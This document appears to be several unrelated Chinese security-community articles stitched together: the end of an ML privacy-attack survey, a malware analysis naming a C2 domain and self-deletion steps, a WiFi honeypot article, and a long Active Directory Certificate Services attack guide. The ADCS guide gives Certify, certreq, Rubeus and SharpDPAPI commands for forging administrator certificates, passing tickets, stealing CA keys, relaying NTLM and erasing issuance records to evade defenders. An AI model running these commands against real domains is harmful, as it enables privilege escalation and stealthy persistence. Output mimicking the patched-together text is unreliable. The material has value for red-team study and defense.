由于训练后的机器学习模型本质上是一个函数,因此只要攻击者获得足够的输入输出对并有足够的时间,从理论上就可以恢复模型参数。实际上在进一步做优化的攻击时,攻击者可以利用模型特性来生成包含更多信息的样本,以减少查询个数的需求和时间成本,有时甚至要牺牲一些准确性。
### 防御
最直接的方法就是限制返回给用户的结果精度，比如将置信度分数四舍五入到固定的精度，这样可以降低攻击的成功率。还可以使用集成技术。比如使用随机森林等方案，将多个模型的预测聚合起来作为最终的结果返回给用户，通过该方法，用户只能获得目标函数的相对粗略的近似值。另外还可以考虑差分隐私的方案，可以直接将差分隐私应用于模型参数，这样攻击者就无法区分相近的模型参数。
## 结束语
这三类攻击之所以可行，本质是因为模型的参数、模型的输出等信息都是通过输入样本产生的（模型在训练样本上训练，所以模型参数本质上与训练样本强相关，模型的输出取决于模型参数和模型测试样本，本质上也与训练样本强相关），只要是训练后的模型，其数据中一定会包含原始数据的信息，即意味着任何模型都会面临这些风险，并且无法完全抵抗。可以预见，后续攻击者会进一步扩展攻击场景，包括迁移学习、联邦学习、强化学习等，或者是从提升攻击效率角度出发，增强从与模型有限次的交互中获取尽可能多的信息。
另外，文中所列方案均为最典型的方案，随着研究人员意识到这方面攻击的危害，已有提出了越来越多的新方案，限于篇幅不再逐一介绍，有兴趣的师傅们可以阅读文末给出的参考文献，同时文末也给出了开源实现，师傅们也可以自己动手尝试一下。
## 参考
### 开源代码
1.<https://github.com/inspire-group/membership-inference-evaluation>
2.<https://github.com/spring-epfl/mia>
3.<https://github.com/BielStela/membership_inference>
4.<https://github.com/privacytrustlab/ml_privacy_meter>
5.<https://github.com/yashkant/Model-Inversion-Attack>
6.<https://github.com/ftramer/Steal-ML>
### 参考文献
1.Membership Inference Attacks Against Machine Learning Models
2.Stealing Machine Learning Models via Prediction APIs
3.Model Inversion Attacks that Exploit Confidence Information and Basic
Countermeasures
4.Hacking smart machines with smarter ones: how to extract meaningful data
from machine learning classifiers
5.Ml-leaks: model and data independent membership inference attacks and
defenses on machine learning models
6.Privacy risk in machine learning: analyzing the connection to overfitting
7.Towards reverse-engineering black-box neural networks
8.Updates-leak: data set inference and reconstruction attacks in online
learning
9.LOGAN: membership inference attacks against generative models
10.Cloudleak: large-scale deep learning models stealing through adversarial
examples
11.Deep models under the GAN: information leakage from collaborative deep
learning
12.Categorical reparameterization with gumbel-softmax
13.Machine learning with membership privacy using adversarial regularization
14.Knockoff nets: Stealing functionality of black-box models
15.Exploring connections between active learning and model ex- traction
16.A Survey of Research on the Attack and Defense of Artificial Intelligence
Model Data Leakage
17.A survey on membership inference on training datasets in machine learning | 社区文章 |
# 骷髅病毒分析报告
##### 译文声明
本文是翻译文章，文章原作者 Hacky，文章来源：Pediy.com
原文地址：<https://bbs.pediy.com/thread-225721.htm>
译文仅供参考，具体内容表达以及含义原文为准。
## 一：目录
* 1.样本信息
* 2.行为分析
* 3.样本分析
* 4.详细分析
## 二：样本信息
* 1.样本名称：样本.exe（脱壳后为样本dump.exe）
* 2.md5：5b8bc92296c2fa60fecc6316ad73f1e2
* 3.是否加壳：加壳UPX
* 4.编译语言：visual C++
## 三：行为分析
* 1）通过注册表判断系统是否被感染
* 2）获取windows目录，利用计时器实现随机命名，把病毒copy到windows目录实现隐藏
* 3）删除样本文件
* 4）创建服务，实现自启
* 5）链接指定url，执行后门行为。
## 四：详细分析
* 1.PEID查壳，发现是UPX加壳，ESP定律法脱去
* 2.病毒先将currentcontrolservices和15654656链接起来，并且利用RegOpenKey来打开这个注册表。 **目的是：判断这个服务是否被创建，换句话说看病毒是否在系统内存在**
* 3.如果这个服务不存在，病毒执行405A25，打开服务管理器。然后获取windows目录，比较c://windows，接着通过GetTick来获取计数器，复制那个exe文件到windows目录。 **目的是实现自身的隐藏** 接着调用CreateService来创建病毒服务。判断服务是否开启，然后开启服务，最后，先获取获取目录信息，接着获取当前进程信息， **目的是获取样本文件的信息，以便为删除做准备** 然后调用shellEx利用cmd执行/c del >nul删除样本文件，设置进程的优先级。 **以便后续为破坏做准备**
* 4。如果这个服务存在的话，执行后续操作。
* 5.通过调用StartServiceCtrlDispatcher函数，执行线程
* 6.分析该服务线程
* 1）先获取例如closesocket和SDetServiceStatus等函数的地址
* * 2）创建一个互斥体， **目的是使系统中只有一个病毒实例在运行**
* 3）创建一个线程，然后枚举资源列表，更新文件。
* a)先和”2”一样，打开15654656注册表，判断病毒是否运行成功。
* * * b)获取文件属性，并创建一个文件，读取文件，替换文件资源
* * * c)加载刚刚替换的资源文件hra%u.dll
* * 4） **分析第一个线程：**
* a）获取网络主机名和地址
* b) 比较用户名和密码：
* c) 获取当前文件路径，并把文件分别复制到C,D,E盘中（E:g1fd.exe）【调用copyfile函数执行】
* d) 如果在C,D,E中则会获取当前时间，然后执行程序，否则把文件复制到F盘，然后休眠500ms后创建下个线程.
* * 5） **分析第二个线程：**
* a）初始化网络配置，休眠100ms，获取本地时间，转化为int类型，和20030221比较，如果小于的话，则一直执行，然后创建CreateStartFun线程（本质是调用StartAddress函数）。
* * * b)在StartAddress内部先访问一个短地址aa.re67das.com,然后获取IP地址利用socket链接。
* c) 获取机器的基本配置，然后load hra%u.dll
* * * d) 利用send（）发送刚刚获取的机器信息。
* * * e) 利用SelectAndRev3这个函数去不断的从服务器端接收控制信息，
* * * f）输入16号控制码：
* * * g）输入18号控制码（行为见脑图）：
* * 6） **分析第三个线程：**
* a)获取本地时间，如果小于2013.02.21则线程不断执行
* * * b)否则执行线程如c：
* c)如上,分析线程2所示一致。只是比2多了一个文件写入的函数
* * 7） **分析第四个线程：**
* a) MainFun4只是比MainFun3多了一个连接特定url的函数，但是这个解密过程没分析出来，但是你可以通过apadns来获取相关信息。 | 社区文章 |
**作者：Imanfeng@360高级攻防实验室
原文链接：<http://noahblog.360.cn/active-directory-certificate-services-attack-and-exploit/>**
## 0x00 前言
在 BlackHat21 中 Specterops 发布了 Active Directory Certificate Services 利用白皮书，尽管
ADCS 并不是默认安装但在大型企业域中通常被广泛部署。本文结合实战讲述如何在域环境中利用 ADCS 手法拿下域控，哪些对象 ACL
可用于更好的权限维持并涉及 ADCS 的基础架构、攻击面、后利用等。
## 0x01 技术背景
### 1\. 证书服务
#### PKI公钥基础结构
在 PKI
(公钥基础结构)中，数字证书用于将公密钥对的公钥与其所有者的身份相关联。为了验证数字证书中公开的身份，所有者需要使用私钥来响应质询，只有他才能访问。
Microsoft 提供了一个完全集成到 Windows 生态系统中的公钥基础结构 (PKI)
解决方案，用于公钥加密、身份管理、证书分发、证书撤销和证书管理。启用后，会识别注册证书的用户，以便以后进行身份验证或撤销证书，即 Active
Directory Certificate Services (ADCS)。
#### ADCS关键术语
* 根证书颁发机构 (Root Certification Authority)
证书基于信任链，安装的第一个证书颁发机构将是根 CA，它是我们信任链中的起始。
* 从属 CA (Subordinate CA)
从属 CA 是信任链中的子节点，通常比根 CA 低一级。
* 颁发 CA (Issuing CA)
颁发 CA 属于从属 CA，它向端点（例如用户、服务器和客户端）颁发证书，并非所有从属 CA 都需要颁发 CA。
* 独立 CA (Standalone CA)
通常定义是在未加入域的服务器上运行的 CA。
* 企业 CA (Enterprise CA)
通常定义是加入域并与 Active Directory 域服务集成的 CA。
* 电子证书 (Digital Certificate)
用户身份的电子证明，由 Certificate Authority 发放（通常遵循X.509标准）。
* AIA (Authority Information Access)
权威信息访问 (AIA) 应用于 CA 颁发的证书，用于指向此证书颁发者所在的位置引导检查该证书的吊销情况。
* CDP (CRL Distribution Point)
包含有关 CRL 位置的信息，例如 URL (Web Server)或 LDAP 路径 (Active Directory)。
* CRL (Certificate Revocation List)
CRL 是已被撤销的证书列表，客户端使用 CRL 来验证提供的证书是否有效。
#### ADCS服务架构
微软官方 ADCS 服务架构中的两层 PKI 环境部署结构[示例](https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2012-r2-and-2012/hh831348\(v=ws.11\)#in-this-guide)如下：
ORCA1：首先使用本地管理员部署单机离线的根 CA，配置 AIA 及 CRL，导出根 CA 证书和 CRL 文件
1. 由于根 CA 需要嵌入到所有验证证书的设备中，所以出于安全考虑，根 CA 通常与客户端之间做网络隔离或关机且不在域内，因为一旦根 CA 遭到管理员误操作或黑客攻击，需要替换所有嵌入设备中的根 CA 证书，成本极高。
2. 为了验证由根 CA 颁发的证书，需要使 CRL 验证可用于所有端点，为此将在从属 CA (APP1) 上安装一个 Web 服务器来托管验证内容。根 CA 机器使用频率很低，仅当需要进行添加另一个从属/颁发 CA、更新 CA 或更改 CRL。
APP1：用于端点注册的从属 CA，通常完成以下关键配置
1. 将根 CA 证书放入 Active Directory 的配置容器中，这样允许域客户端计算机自动信任根 CA 证书，不需要在组策略中分发该证书。
2. 在离线 ORCA1上申请 APP1 的 CA 证书后，利用传输设备将根 CA 证书和 CRL文件放入 APP1 的本地存储中，使 APP1 对根 CA 证书和根 CA CRL 的迅速直接信任。
3. 部署 Web Server 以分发证书和 CRL，设置 CDP 及 AIA。
#### LDAP属性
ADCS 在 LDAP 容器中进行了相关属性定义 `CN=Public Key
Services,CN=Services,CN=Configuration,DC=,DC=`，部分前面提到过
**Certificate templates**
ADCS 的大部分利用面集中在证书模板中，存储为 `CN=Certificate Templates,CN=Public Key
Services,CN=Services,CN=Configuration,DC=,DC=` ，其 objectClass 为
`pKICertificateTemplate`，以下为证书的字段
* 常规设置：证书的有效期
* 请求处理：证书的目的和导出私钥要求
* 加密：要使用的加密服务提供程序 (CSP) 和最小密钥大小
* Extensions：要包含在证书中的 X509v3 扩展列表
* 主题名称：来自请求中用户提供的值，或来自请求证书的域主体身份
* 发布要求：是否需要“CA证书管理员”批准才能通过证书申请
* 安全描述符：证书模板的 ACL，包括拥有注册模板所需的扩展权限
证书模板颁发首先需要在 CA 的 `certtmpl.msc` 进行模板配置，随后在 `certsrv.msc` 进行证书模板的发布。在
Extensions 中证书模板对象的 EKU (pKIExtendedKeyUsage) 属性包含一个数组，其内容为模板中已启用的 OID (Object
Identifiers)
这些自定义应用程序策略 (EKU oid) 会影响证书的用途，以下 oid 的添加才可以让证书用于 Kerberos 身份认证
描述 | OID
---|---
Client Authentication | 1.3.6.1.5.5.7.3.2
PKINIT Client Authentication | 1.3.6.1.5.2.3.4
Smart Card Logon | 1.3.6.1.4.1.311.20.2.2
Any Purpose | 2.5.29.37.0
SubCA | (no EKUs)
**Enterprise NTAuth store**
NtAuthCertificates 包含所有 CA 的证书列表，不在内的 CA 无法处理用户身份验证证书的申请
向 NTAuth 发布/添加证书：
certutil –dspublish –f IssuingCaFileName.cer NTAuthCA
要查看 NTAuth 中的所有证书：
certutil –viewstore –enterprise NTAuth
要删除 NTAuth 中的证书：
certutil –viewdelstore –enterprise NTAuth
域内机器在注册表中有一份缓存：
HKLM\SOFTWARE\Microsoft\EnterpriseCertificates\NTAuth\Certificates
当组策略开启“自动注册证书”，等组策略更新时才会更新本地缓存。
**Certification Authorities & AIA**
Certification Authorities 容器对应根 CA 的证书存储。当有新的颁发 CA 安装时，它的证书则会自动放到 AIA 容器中。
来自他们容器的所有证书同样会作为组策略处理的一部分传播到每个网络连通的客户端，当同步出现问题的话 KDC 认证会抛
`KDC_ERR_PADATA_TYPE_NOSUPP` 报错。
**Certificate Revocation List**
前面在 PKI 服务架构中提到了，证书吊销列表 (CRL) 是由颁发相应证书的 CA 发布的已吊销证书列表，将证书与 CRL
进行比较是确定证书是否有效的一种方法。
CN=<CA name>,CN=<ADCS server>,CN=CDP,CN=Public Key Services,CN=Services,CN=Configuration,DC=,DC=
通常证书由序列号标识，CRL 除了吊销证书的序列号之外还包含每个证书的吊销原因和证书被吊销的时间。
### 2\. 证书注册
#### 证书注册流程
ADCS 认证体系中的证书注册流程大致如下：
1. 客户端创建公钥/私钥对；
2. 将公钥与其他信息 (如证书的主题和证书模板名称) 一起放在证书签名请求 (CSR) 消息中，并使用私钥签署；
3. CA 首先判断用户是否允许进行证书申请，证书模板是否存在以及判断请求内容是否符合证书模板；
4. 通过审核后，CA 生成含有客户端公钥的证书并使用自己的私钥来签署；
5. 签署完的证书可以进行查看并使用。
#### 证书注册方式
\1. 证书颁发机构 Web 注册
在部署 CA 时勾选证书颁发机构 Web 注册，即可在 `http://CA-Computer/certsrv` 身份认证后进行证书申请。
\2. 客户端 GUI 注册
域内机器可以使用 `certmgr.msc` (用户证书)，`certlm.msc` (计算机证书) GUI 请求证书
\3. 命令行注册
域内机器可以通过 `certreq.exe` 或Powershell `Get-Certificate` 申请证书，后面有使用示例
\4. DCOM调用
基于 DCOM 的证书注册遵循 MS-WCCE 协议进行证书请求，目前大多数 C#、python、Powershell的 ADCS 利用工具都按照 WCCE
进行证书请求。
#### 证书注册权限
在 Active Directory 中权限控制是基于访问控制模型的，其包含两个基本部分：
* 访问令牌，其中包含有关登录用户的信息
* 安全描述符，其中包含保护安全对象的安全信息
在 ADCS 中使用两种安全性定义注册权限 (主体可以请求证书) ， **一个在证书模板 AD 对象上，另一个在企业 CA 本身上** 。
在颁发 CA 机器上使用 `certtmpl.msc` 可查看所有证书模板，通过安全扩展可以对证书模板的用户访问权限查看。
可以在颁发 CA 机器上使用 `certsrv.msc` 查看 CA 对于用户的访问权限设置。
## 0x02 证书使用
### 1\. 证书认证
#### Kerberos认证
Kerberos 是域环境中主要的认证协议，其认证流程大致如下：
1. AS_REQ：client 用 client_hash 、时间戳向 KDC 进行身份验证；
2. AS_REP：KDC 检查 client_hash 与时间戳，如果正确则返回 client 由 krbtgt 哈希加密的 TGT 票据和 PAC 等相关信息；
3. TGS_REQ：client 向 KDC 请求 TGS 票据，出示其 TGT 票据和请求的 SPN；
4. TGS_REP：KDC 如果识别出 SPN ，则将该服务账户的 NTLM 哈希加密生成的 ST 票据返回给 client；
5. AP_REQ：client 使用 ST 请求对应服务，将 PAC 传递给服务进行检查。服务通过 PAC 查看用户的 SID 和用户组等并与自身的 ACL 进行对比，如果不满足则作为适当的 RPC 状态代码返回；
6. AP_REP：服务器验证 AP-REQ，如果验证成功则发送 AP-REP，客户端和服务端通过中途生成的 Session key 等信息通过加解密转换验证对方身份。
#### PKINIT认证
在 RFC 4556 中定义了 PKINIT 为 Kerberos 的扩展协议，可通过 X.509 证书用来获取 Kerberos 票据 (TGT)。
PKINIT 与 Kerberos 差别主要在 AS 阶段：
1. PKINIT AS_REQ：发d送内容包含证书，私钥进行签名。KDC 使用公钥对数字签名进行校验，确认后返回使用证书公钥加密的 TGT 并且消息是使用 KDC 私钥签名；
2. PKINIT AS_REP：客户端使用 KDC 公钥进行签名校验，随后使用证书私钥解密成功拿到 TGT。
详细的协议流程规范：<http://pike.lysator.liu.se/docs/ietf/rfc/45/rfc4556.xml>
#### NTLM凭据
在2016年，通过证书获取 NTLM 的功能就被集成在 kekeo 和 mimikatz 中，核心在于当使用证书进行 PKCA 扩展协议认证的时候，返回的
PAC 中包含了 NTLM 票据。
即使用户密码改了，通过证书随时可以拿到 NTLM。获取能用来进行 Kerberos 身份认证的证书需要满足一下几个条件：
\1. 证书模板OID
前面我们提到了，目前已知应用程序策略 (oid) 只有包含了 Client Authentication、PKINIT Client
Authentication、Smart Card Logon、Any Purpose、SubCA 时，对应的证书才能充当 PKINIT 身份认证凭据。
\2. 证书请求权限
* 用户拥有向 CA 申请证书的权限；
* 用户拥有证书模板申请证书的权限。
### 2\. 证书获取
#### 导出机器证书
通过 `certlm.msc` 图形化或 `certutil.exe` 进行证书导出。
当私钥设置为不允许导出的时候，利用 Mimikatz 的 `crypto::capi` 命令可以 patch 当前进程中的 capi ，从而利用
Crypto APIs 导出含有私钥的证书。
#### 导出用户证书
通过 `certmgr.msc` 图形化或 `certutil.exe` 进行用户证书导出。
遇到私钥限制同样可尝试 `crypto::capi` 导出证书。
#### 本地检索证书
在实战中会遇到证书、私钥文件就在文件夹内并不需要导出，其后缀文件主要有以下几种
后缀 | 描述
---|---
.pfx\ .p12\ .pkcs12 | 含公私钥，通常有密码保护
.pem | 含有base64证书及私钥，可利用openssl格式转化
.key | 只包含私钥
.crt\ .cer | 只包含证书
.csr | 证书签名请求文件，不含有公私钥
.jks\ .keystore\ .keys | 可能含有 java 应用程序使用的证书和私钥
可结合自身需求通过开源工具或自研武器来满足检索文件后缀的需求。
## 0x03 证书滥用
本节围绕 ADCS 从证书模板的滥用到权限维持滥用进行讲解
### 1\. 证书模板
#### CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT 滥用
该错误配置在企业 ADCS 中是最为常见的，需满足的条件为：
* 颁发 CA 授予低权限用户请求权限 (默认)
* 模板中 CA 管理员审批未启用 (默认)
* 模板中不需要授权的签名 (默认)
* 模板允许低权限用户注册
* 模板定义了启用认证的 EKU
* **证书模板允许请求者在 CSR 中指定一个 subjectAltName**
如果满足上列条件，当攻击者在请求证书时可通过 `CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT`
字段来声明自己的身份，从而可获取到伪造身份的证书，Certify 为白皮书配套的 ADCS 利用工具。
Certify.exe find /vulnerable
使用 `certutil.exe -TCAInfo` 判断 CA 状态及当前用户请求的权限情况
利用 Certify 的 set altname 来伪造 administrator 身份尝试得到证书
Certify.exe request /ca:"CA01.corp.qihoo.cn\corp-CA01-CA" /template:”ESC1“ /altname:administrator
成功通过申请后可得到含有公私钥的 pem 证书文件，使用 openssl 进行格式转化
/usr/bin/openssl pkcs12 -in ~/cert.pem -keyex -CSP "Microsoft Enhanced Cryptographic Provider v1.0" -export -out ~/cert.pfx
20.11后的 Rubeus 进行了 PKINIT 证书支持，使用 cert.pfx 作为 administrator 身份申请 TGT，成功获得
administrator 的票据
Rubeus4.exe asktgt /user:Administrator /certificate:cert.pfx /password:123456 /outfile:cert.kribi /ptt
#### Any EKU OR no EKU
与第一种利用需满足的条件前四点相同的用户证书非机器证书，主要差别在 EKU 的描述：
* 颁发 CA 授予低权限用户请求权限 (默认)
* 模板中 CA 管理员审批未启用 (默认)
* 模板中不需要授权的签名 (默认)
* 模板允许低权限用户注册
* **证书模板中定义了 no EKU 或 any EKU**
可使用 `certutil.exe` 检查模板的 `pKIExtendedKeyUsage` 字段是否为空
certutil -v -dstemplate
通过 Certify 成功定位到恶意模板
该利用方式并不是能直接通过 Kerberos 认证来伪造用户。Any Purpose (OID 2.5.29.37.0)
可以用于任何目的，包括客户端身份验证，如果没有指定eku，即 **pkiextendedkeyusag** 为空那么该证书就相当于从属 CA
的证书，可以用于任何情况给其他用户来颁发证书。
前面说过 CA 证书不在 **NtAuthCertificates**
内的话，是无法为身份认证作用来颁发证书的，所以该利用手段无法直接伪造用户，但可以用来签发用于其他应用，例如 ADFS ，它是 Microsoft 作为
Windows Server 的标准角色提供的一项服务，它使用现有的 Active Directory 凭据提供 Web
登录，感兴趣的可以自己搭环境试一试。
#### 注册代理证书滥用
CA 提供一些基本的证书模板，但是标准的 CA
模板不能直接使用，必须首先复制和配置。部分企业出于便利性通过在服务器上设置可由管理员或注册代理来直接代表其他用户注册对应模板得到使用的证书。
实现该功能需要两个配置模板：
1. 颁发“注册代理”的证书模板
2. 满足代表其他用户进行注册的证书模板
**模板一为颁发“注册代理”证书**
* 颁发 CA 授予低权限用户请求权限 (默认)
* 模板中 CA 管理员审批未启用 (默认)
* 模板中不需要授权的签名 (默认)
* 模板允许低权限用户注册
* **证书模板中定义了证书请求代理 EKU (1.3.6.1.4.1.311.20.2.1)**
**模板二为允许使用“注册代理”证书去代表其他用户申请身份认证证书**
* 颁发 CA 授予低权限用户请求权限 (默认)
* 模板中 CA 管理员审批未启用 (默认)
* 模板中不需要授权的签名 (默认)
* 模板允许低权限用户注册
* 模板定义了启用认证的 EKU
* **模板模式版本1或大于2并指定应用策略，签发要求证书请求代理 EKU**
* **没有在 CA 上对登记代理进行限制 (默认)**
申请注册代理证书并连同私钥导出为 esc3_1.pfx
利用 Certify 通过 esc3_1.pfx 代表 administrator 申请 esc3_2.pfx 的身份认证证书，得到的证书同样可以进行
ptt 利用
Certify.exe request /ca:"CA01.corp.qihoo.cn\corp-CA01-CA" /template:ESC3_2 /onbehalfof:administrator /enrollcert:esc3_1.pfx /enrollcertpw:123456
可看到证书颁发给了 administrator
#### EDITF_ATTRIBUTESUBJECTALTNAME2 滥用
一些企业因业务需求会把颁发 CA + `EDITF_ATTRIBUTESUBJECTALTNAME2` 来启用 SAN
(主题备用名)，从而允许用户在申请证书时说明自己身份。例如 [CBA for Azure
AD](https://samilamppu.com/2017/01/21/cba-for-azure-ad/) 场景中证书通过 NDES
分发到移动设备，用户需要使用 RFC 名称或主体名称作为 SAN 扩展名来声明自己的身份。
至此利用手段与第一种一样均可伪造身份，区别在于一个是证书属性，一个是证书扩展。
* 企业CA授予低权限用户请求权限（默认）
* 模板中CA管理员审批未启用（默认）
* 模板中不需要授权的签名（默认）
* **CA +EDITF_ATTRIBUTESUBJECTALTNAME2**
通过远程注册表判断 CA 是否开启 SAN 标识
certutil -config "CA01.corp.qihoo.cn\corp-CA01-CA" -getreg "policy\EditFlags"
手动创建利用证书请求
certreq –new usercert.inf certrequest.req
#usercert.inf
[NewRequest]
KeyLength=2048
KeySpec=1
RequestType = PKCS10
Exportable = TRUE
ExportableEncrypted = TRUE
[RequestAttributes]
CertificateTemplate=USER
利用 req 请求上步得到 .cer 含公钥证书，其他字段可翻阅[官方文档](https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2012-r2-and-2012/dn296456\(v=ws.11\))
certreq -submit -config "CA01.corp.qihoo.cn\corp-CA01-CA" -attrib "SAN:[email protected]" certrequest.req certrequest.cer
将 .cer 导入机器后连同私钥导出为 .pfx ，同样顺利通过 ptt 认证。
### 2\. 访问权限
前面提到，证书模板和证书颁发机构是 AD 中的安全对象，这意味着安全描述符同样可用来指定哪些主体对他们具有特定的权限，详细内容可阅读 ACL 相关文档。
在对应设置中安全选项可用于对用户的权限进行相关设置，我们关注5种权限
权限 | 描述
---|---
Owner | 对象所有人，可以编辑任何属性
Full Control | 完全控制对象，可以编辑任何属性
WriteOwner | 允许委托人修改对象的安全描述符的所有者部分
WriteDacl | 可以修改访问控制
WriteProperty | 可以编辑任何属性
#### 模板访问权限配置错误
例如我们已经拿下整个域想借助证书模板进行权限维持，那我们可对一个无害正常模板进行相关 ACL 添加
* NT AUTHORITY\Authenticated Users -> WriteDacl
* NT AUTHORITY\Authenticated Users -> WriteProperty
当我们重新回到域内通过密码喷洒等手段再次拿到任意一个用户凭据后，即可将该无害模板变成我们可以利用的提权模板
* msPKI-Certificates-Name-Flag -edit-> ENROLLEE_SUPPLIES_SUBJECT (WriteProperty)
* msPKI-Certificate-Application-Policy -add-> 服务器身份验证 (WriteProperty)
* mspki-enrollment-flag -edit-> AUTO_ENROLLMENT (WriteProperty)
* Enrollment Rights -add-> Control User (WriteDacl)
随后利用恶意模板进行 **CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT** 提权利用，可拿到 administrator
的证书凭据即可 ptt ，相比 Certify ，certi 是可以在域外使用的。
#### PKI 访问权限配置错误
如果低特权的攻击者可以对 `CN=Public Key Services,CN=Services,CN=Configuration,DC=,DC=`
控制，那么攻击者就会直接控制 PKI 系统 (证书模板容器、证书颁发机构容器、NTAuthCertificates对象、注册服务容器等)。
将 `CN=Public Key Services,CN=Services,CN=Configuration` 添加 CORP\zhangsan 用户对其
GenericAll 的权限
此时我们可以滥用权限创建一个新的恶意证书模板来使用进行前面相关的域权限提升方法。
#### CA 访问权限配置错误
CA 本身具有一组安全权限用于权限管理
我们主要关注 **ManageCA** ， **ManageCertificates** 两种权限
权限 | 描述
---|---
Read | 读取 CA
ManageCA | CA 管理员
Issue and manage certificates | 证书管理
Request certificates | 请求证书，默认拥有
**利用面一：隐藏 CA 申请记录**
在拿到域管权限或拥有 PKI 操作权限后创建一个恶意证书模板
使用 **CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT** 姿势获取到 administrator 的 pfx 证书用于权限维持
(用户状态异常无法利用该证书)
我们出于隐蔽考虑可删除模板并利用拥有 ManageCA 权限的 zhangsan 调用 COM 接口 `ICertAdminD2::DeleteRow` 从
CA 数据库中删除申请的证书痕迹
运维人员是无法从证书控制台观察到我们的证书申请记录并无法吊销证书。只要 administrator 用户不过期，证书不过期即可一直使用，即使用户密码更改。
**利用面二：修改 CA 属性用于证书提权**
当我们拥有 ManageCA 权限下调用 `ICertAdminD2::SetConfigEntry` 来修改 CA
的配置数据，例如`Config_CA_Accept_Request_Attributes_SAN` 的bool型数据从而开启 CA 的
`EDITF_ATTRIBUTESUBJECTALTNAME2`
此时可参考前面 **EDITF_ATTRIBUTESUBJECTALTNAME2** 证书提权滥用拿到域控制权
**利用面三：自己审批证书注册**
在证书模板设置时，部分运维会出于安全考虑将模板发布要求设置为 CA 证书管理员审批，管理员就会在 `certsrv.msc` 上进行确认
当拥有 ManageCertificates 权限时，可调用 `ICertAdminD::ResubmitRequest`
去给需要审核的滥用证书进行批准放行。
### 3\. 其他利用
#### Golden Certificates
使用偷来的证书颁发机构 (CA) 证书以及私钥来为任意用户伪造证书，这些用户可以对活动目录进行身份验证， **因为签署颁发证书的唯一密钥就是 CA
的私钥** 。
当我们获取到 CA 服务器时，通过 mimikatz 或
[SharpDPAPI](https://github.com/GhostPack/SharpDPAPI) 项目提取任何不受硬件保护的 CA 证书私钥。
SharpDPAPI4.exe certificates /machine
使用 openssl 转化格式后，利用 [ForgeCert](https://github.com/GhostPack/ForgeCert) 或
[pyForgeCert](https://github.com/Ridter/pyForgeCert) 进行证书构造，故含私钥的 CA 为“黄金证书”。
#### NTLM Relay to ADCS HTTP Endpoints
该利用方式是因为 http 的证书注册接口易受 NTLM Relay 攻击所导致的。NTLM 相关利用文章有很多，例如
CVE-2018-8581、CVE-2019-1040、Printerbug 等这里不再介绍。
PetitPotam 可以指定域内的一台服务器，使其对指定目标进行身份验证。当目标为低版本 (16以下) 时，可以做到匿名触发。
通过调用 `MS-EFSRPC` 相关函数到域控，使域控发送请求我们的监听，我们将获取到的 NTLM Relay 到 ADCS 的 Web 注册页面。
通过域控机器用户 NTLM 凭据向 web 服务注册证书，成功得到域控机器账户的Encode Base64 证书。
利用 kekeo 进行 ask tgt 成功拿到 DC$ 权限进行 Dcsync。
## 0x04 写在后面
ADCS 相关利用手段在实战场景中权限提升，权限维持非常便捷。针对 ADCS 的防御方案在白皮书也有详细提到，这里就不详细写了。
部分解决方案有提到微软的三层架构：
核心思想就是你是什么用户就访问怎样的资产，无法向下级访问且向上访问会告警。那么 CA 、ADCS 服务器的本地管理员组、PKI
和证书模板所拥有者都应该处于0层。
最后灵腾实验室长期招聘高级攻防专家，高级安全研究员，感兴趣可发送简历至g-linton-lab[AT]360.cn
## 0x05 参考链接
<https://www.specterops.io/assets/resources/Certified_Pre-Owned.pdf>
<https://docs.microsoft.com/en-us/windows/win32/ad/how-access-control-works-in-active-directory-domain-services>
<https://www.riskinsight-wavestone.com/en/2021/06/microsoft-adcs-abusing-pki-in-active-directory-environment/>
<https://www.anquanke.com/post/id/245791>
* * * | 社区文章 |
# 【技术分享】浅析无线Wifi-Honeypot思路
|
##### 译文声明
本文是翻译文章，文章来源：安全客
译文仅供参考，具体内容表达以及含义原文为准。
作者：[icecolor](http://bobao.360.cn/member/contribute?uid=775238387)
预估稿费：300RMB
投稿方式：发送邮件至linwei#360.cn，或登陆网页版在线投稿
在网络安全里面无论是IPS，IDS都跟蜜罐有着紧密联系，蜜罐可以算是防火墙中的一个重要分支。
蜜罐最基本的作用是来捕获攻击者的行为并且进行追踪取证和反入侵，首先你要有一个脆弱点来诱惑攻击者。
我之前看过一个老外最原始的蜜罐。其实那并不是一个蜜罐，只能说是一个迷惑攻击者的方法。他建立很多与真实SSID相同的无用接入点，来进行干扰，下面是我复现的效果。
这样虽说可以在某种程度上短暂的让攻击者找不到目标。但却不是一个真正意义上的蜜罐。
**关于蜜罐的功能与设计**
****
众所周知，Fake AP的攻击方式在无线攻击中算的上威胁最大的之一了。那我们可以变攻为防，自己创建一个Fake AP，来诱捕攻击者.
关于蜜罐服务器与热点的配置，它必须要具备以下功能：
关于服务器与监控信息：
1.数据截获：对捕获到的攻击者信息进行数据分析、取证、定位。
首先察觉到有攻击者中招时要记录其信息。
例：
确定其MAC地址与内网地址：
2.对数据截获和保存，可以把每次有蜜罐告警的数据包全部保存下来，手工分析进行取证。
例：
入侵者QQ号码：
入侵者连接设备（网卡或终端）名称：
……….以及其他有必要提取的数据
2.服务器要配置一些内网的扫描工具（如Nmap）与劫持工具，方便反追踪与取证。
例：
3.要对攻击者进行监控，如DNS、Url，photo之类.
**关于热点：**
****
1.可以选择隐藏真实的热点，并且真实热点隐藏，SSID也不要用跟公司或者很敏感的字符。而蜜罐系统的热点一定要敏感。
例：
公司为Goole.那AP热点名称可用任何与Google无关的SSID，就算找到隐藏SSID，攻击者也难以相信。而蜜罐SSID为Google-office。
2.蜜罐系统的加密方式不要选择最弱加密和无加密，加密要正常，密码可以稍弱。为了防止蜜罐暴露。若要启用加密热点，需用Hostapd。
3.蜜罐AP部署不要单一一个，要多建立几个，部署整个要保护的环境。
4.配合内网蜜罐使用将会有意想不到的效果，让攻击者陷网更深
**基于Probe Req的新思路**
玩过wifi菠萝的同学肯定知道karma了。Karma里面有个很厉害的功能就是能伪造你之前客户端连接过的wifi。
它的原理是基于设备发出的Probe req请求。
可以在服务器中部署嗅探脚本，客户端的Probe Req将会成为收集效信息的一部分 。
在今天嗅探的时候，也发现了一个有意思的东西，我在嗅探中发现了有个终端曾请求SSID：“GreenHotel”这个热点。这是个格林豪泰的酒店热点。换个思路来说，你可以用此方法来检查你女（男）朋……….
如果你对的蜜罐要求不高的话，wifipineapple就可以完成一些要求，大的比较浪费，小的比较实惠。固件升级到最新就可以了，开启Karm+Dwall功能。
